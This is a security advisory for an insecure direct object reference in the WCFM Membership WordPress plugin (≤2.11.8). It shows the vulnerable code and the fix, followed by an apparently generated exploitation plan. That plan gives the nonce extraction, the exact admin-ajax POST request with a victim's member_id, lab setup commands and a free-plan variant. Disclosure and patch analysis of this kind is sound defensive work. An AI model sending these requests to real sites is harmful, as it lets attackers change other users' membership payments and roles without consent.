WCFM Membership – WooCommerce Memberships for Multivendor Marketplace <= 2.11.8 - Insecure Direct Object Reference to Update Membership Payment
Description
The WCFM Membership – WooCommerce Memberships for Multivendor Marketplace plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.11.8 via the 'WCFMvm_Memberships_Payment_Controller::processing' due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify other users' membership payments.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.11.8What Changed in the Fix
Changes introduced in v2.11.9
Source Code
WordPress.org SVNThis research plan focuses on exploiting an **Insecure Direct Object Reference (IDOR)** vulnerability in the **WCFM Membership** plugin. The vulnerability allows an authenticated attacker (Subscriber level) to modify the membership payment details and trigger vendor registration for any other user b…
Show full research plan
This research plan focuses on exploiting an Insecure Direct Object Reference (IDOR) vulnerability in the WCFM Membership plugin. The vulnerability allows an authenticated attacker (Subscriber level) to modify the membership payment details and trigger vendor registration for any other user by manipulating the member_id parameter.
1. Vulnerability Summary
- Vulnerability: Insecure Direct Object Reference (IDOR)
- Location:
WCFMvm_Memberships_Payment_Controller::processing()incontrollers/wcfmvm-controller-memberships-payment.php. - Condition: The plugin fails to verify if the
member_idprovided in the request matches the ID of the currently logged-in user. - Impact: An attacker can modify another user's membership
paymode, force-register them as a vendor ($WCFMvm->register_vendor), and potentially bypass payment requirements for paid plans.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wcfm_ajax_controller(WCFM's standard dispatcher) - Controller Parameter:
wcfm-memberships-payment - Vulnerable Parameter:
member_id(nested insidewcfm_membership_payment_form) - Authentication: Required (Subscriber or higher).
- Preconditions:
- The target user (Victim) must have a
temp_wcfm_membershipmeta key set (this happens when they select a plan but haven't completed payment). - The value of
temp_wcfm_membershipmust be a valid Post ID of awcfm_membershippost type.
- The target user (Victim) must have a
3. Code Flow
- The request hits
admin-ajax.phpwithaction=wcfm_ajax_controller. - The WCFM dispatcher instantiates
WCFMvm_Memberships_Payment_Controller(defined incontrollers/wcfmvm-controller-memberships-payment.php). - The constructor immediately calls
$this->processing(). - Lines 33-34: The code extracts the form data:
parse_str($_POST['wcfm_membership_payment_form'], $wcfm_membership_payment_form_data); $wcfm_membership_payment_form_data = wc_clean($wcfm_membership_payment_form_data); - Lines 39-40: It retrieves the
member_iddirectly from this user-controlled string:if (isset($wcfm_membership_payment_form_data['member_id']) && !empty($wcfm_membership_payment_form_data['member_id'])) { $member_id = absint($wcfm_membership_payment_form_data['member_id']); - Line 41: It fetches the membership plan ID associated with that
member_id:$wcfm_membership = get_user_meta($member_id, 'temp_wcfm_membership', true); - Line 42: It takes the
paymodefrom$_POST['paymode']. - Lines 59-62: If the plan exists, it updates the victim's meta and registers them as a vendor:
update_user_meta($member_id, 'wcfm_membership_paymode', $paymode); // ... $has_error = $WCFMvm->register_vendor($member_id);
4. Nonce Acquisition Strategy
WCFM AJAX requests usually require a nonce named wcfm_ajax_nonce. This is typically localized into the wcfm_params global JS object.
- Identify Trigger: The membership payment form is often rendered via the
[wcfm_membership]shortcode. - Setup: Create a public page with the shortcode.
wp post create --post_type=page --post_title="Membership" --post_status=publish --post_content='[wcfm_membership]' - Navigate: Use
browser_navigateto this page as the Attacker. - Extract: Use
browser_evalto get the nonce.// WCFM standard localization key window.wcfm_params?.wcfm_ajax_nonce
5. Exploitation Strategy
The goal is to change the paymode of a Victim user and trigger their vendor registration.
- Step 1: Obtain a valid Nonce (see section 4).
- Step 2: Construct the payload. The
wcfm_membership_payment_formmust be a URL-encoded string containing the victim's ID. - Step 3: Send the POST request.
Request Details:
- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=wcfm_ajax_controller&controller=wcfm-memberships-payment&wcfm_ajax_nonce=[NONCE]&paymode=bank_transfer&wcfm_membership_payment_form=member_id=[VICTIM_ID]
6. Test Data Setup
- Create Membership Plan: Use WP-CLI to create a membership post.
PLAN_ID=$(wp post create --post_type=wcfm_membership --post_title="Gold Plan" --post_status=publish --porcelain) # Set plan metadata (required for the code logic to proceed) wp post meta update $PLAN_ID subscription 'a:1:{s:7:"is_free";s:2:"no";}' --format=json - Create Victim:
VICTIM_ID=$(wp user create victim victim@example.com --role=subscriber --user_pass=password --porcelain) # Assign the "temp" membership to the victim to simulate an initiated application wp user meta update $VICTIM_ID temp_wcfm_membership $PLAN_ID - Create Attacker:
ATTACKER_ID=$(wp user create attacker attacker@example.com --role=subscriber --user_pass=password --porcelain)
7. Expected Results
- Response: A JSON string:
{"status": true, "message": "Subscription successfully completed...", "redirect": "..."}. - Database Change: The Victim's user meta
wcfm_membership_paymodewill be updated tobank_transfer. - Vendor Status: The Victim's role will likely be changed to
wcfm_vendor(or whatever the plugin's registration logic dictates).
8. Verification Steps
After the HTTP request, verify the state of the Victim user:
# Check if the paymode was updated
wp user meta get [VICTIM_ID] wcfm_membership_paymode
# Check if the user was registered as a vendor (role change)
wp user get [VICTIM_ID] --field=roles
# Check if subscription data was stored
wp user meta get [VICTIM_ID] wcfm_membership_subscription_data
9. Alternative Approaches
If the wcfm_ajax_controller requires different parameters, investigate core/class-wcfmvm-ajax.php (inferred existence) to see how the controller is routed. If the plan is "Free", the paymode check is bypassed entirely, making the exploit even simpler:
paymode=free&wcfm_membership_payment_form=member_id=[VICTIM_ID]
If temp_wcfm_membership is not set for the victim, the response will be {"status": false, "message": "No member ID found"} (from lines 75-77), confirming the member_id parameter was processed but the meta check failed.
Summary
The WCFM Membership plugin is vulnerable to an Insecure Direct Object Reference (IDOR) because it fails to verify that the 'member_id' provided in a membership payment request matches the ID of the authenticated user. This allows an attacker with Subscriber-level access to modify the membership payment mode and trigger vendor registration for any other user who has a pending membership application.
Vulnerable Code
// controllers/wcfmvm-controller-memberships-payment.php lines 33-40 $wcfm_membership_payment_form_data = array(); parse_str($_POST['wcfm_membership_payment_form'], $wcfm_membership_payment_form_data); $wcfm_membership_payment_form_data = wc_clean($wcfm_membership_payment_form_data); $wcfm_membership_payment_messages = get_wcfmvm_membership_payment_messages(); $has_error = false; if (isset($wcfm_membership_payment_form_data['member_id']) && !empty($wcfm_membership_payment_form_data['member_id'])) { $member_id = absint($wcfm_membership_payment_form_data['member_id']); --- // controllers/wcfmvm-controller-memberships-payment.php lines 59-62 update_user_meta($member_id, 'wcfm_membership_paymode', $paymode); $required_approval = get_post_meta($wcfm_membership, 'required_approval', true) ? get_post_meta($wcfm_membership, 'required_approval', true) : 'no'; if ($required_approval != 'yes') { $has_error = $WCFMvm->register_vendor($member_id);
Security Fix
@@ -31,6 +31,12 @@ if (isset($wcfm_membership_payment_form_data['member_id']) && !empty($wcfm_membership_payment_form_data['member_id'])) { $member_id = absint($wcfm_membership_payment_form_data['member_id']); + + if ($member_id && !$this->is_valid_member_id( $member_id )) { + echo '{"status": false, "message": "' . esc_html__( 'Not a valid member', 'wc-multivendor-membership' ) . '"}'; + die; + } + $wcfm_membership = get_user_meta($member_id, 'temp_wcfm_membership', true); $paymode = wc_clean($_POST['paymode']); @@ -77,4 +83,14 @@ die; } + + protected function is_valid_member_id( $member_id ) { + $is_valid_member = false; + + if ((get_current_user_id() == $member_id) && wcfm_is_allowed_membership()) { + $is_valid_member = true; + } + + return $is_valid_member; + } }
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the 'wcfm_ajax_controller' action. An attacker with Subscriber-level authentication must first obtain a valid 'wcfm_ajax_nonce', typically exposed via the 'wcfm_params' JavaScript object on pages where the [wcfm_membership] shortcode is used. The attacker then crafts a POST request with the 'controller' parameter set to 'wcfm-memberships-payment'. The critical part of the payload involves the 'wcfm_membership_payment_form' parameter, which is a URL-encoded string containing a target user's ID ('member_id'). Because the plugin lacks authorization checks on this ID, it will proceed to update the victim's 'wcfm_membership_paymode' based on the 'paymode' POST parameter and trigger the 'register_vendor' function for that victim, potentially bypassing payment requirements or elevating the victim's role without their consent.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.